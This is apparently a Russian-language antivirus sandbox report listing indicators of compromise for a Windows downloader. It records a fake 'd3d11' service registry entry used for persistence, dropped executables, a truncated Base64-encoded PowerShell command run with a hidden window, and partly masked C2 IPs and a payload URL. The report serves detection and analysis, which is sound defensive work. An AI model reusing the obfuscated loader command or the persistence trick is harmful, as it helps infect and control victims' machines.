Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3d11] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3d11] 'ImagePath' = '"%WINDIR%\SysWOW64\iexpress\d3d11.exe"'
- 'd3d11' "%WINDIR%\SysWOW64\iexpress\d3d11.exe"
- 'd3d11' %WINDIR%\SysWOW64\iexpress\d3d11.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHIAcQBmAHIAZAB3AD0AKAAnAE8AJwArACgAJwB2AGoAJwArACcAbQA5AGkAJwArACcAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVABFAE0AUABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...
- %TEMP%\word\2019\o9khjkn.exe
- %WINDIR%\syswow64\iexpress\d3d11.exe
- %TEMP%\word\2019\o9khjkn.exe в %WINDIR%\syswow64\iexpress\d3d11.exe
- '88.##9.181.198':443
- http://www.ri####roperty.com/wp-content/SMXB/
- http://88.###.181.198:443/JatMGTtIlpW/FBW6xJ0fOBnbEvW/ via 88.##9.181.198
- DNS ASK ri####roperty.com
- '%TEMP%\word\2019\o9khjkn.exe'
- '%WINDIR%\syswow64\iexpress\d3d11.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJAHIAcQBmAHIAZAB3AD0AKAAnAE8AJwArACgAJwB2AGoAJwArACcAbQA5AGkAJwArACcAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUAbgBWADoAVABFAE0AUABcAHcATwByAEQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)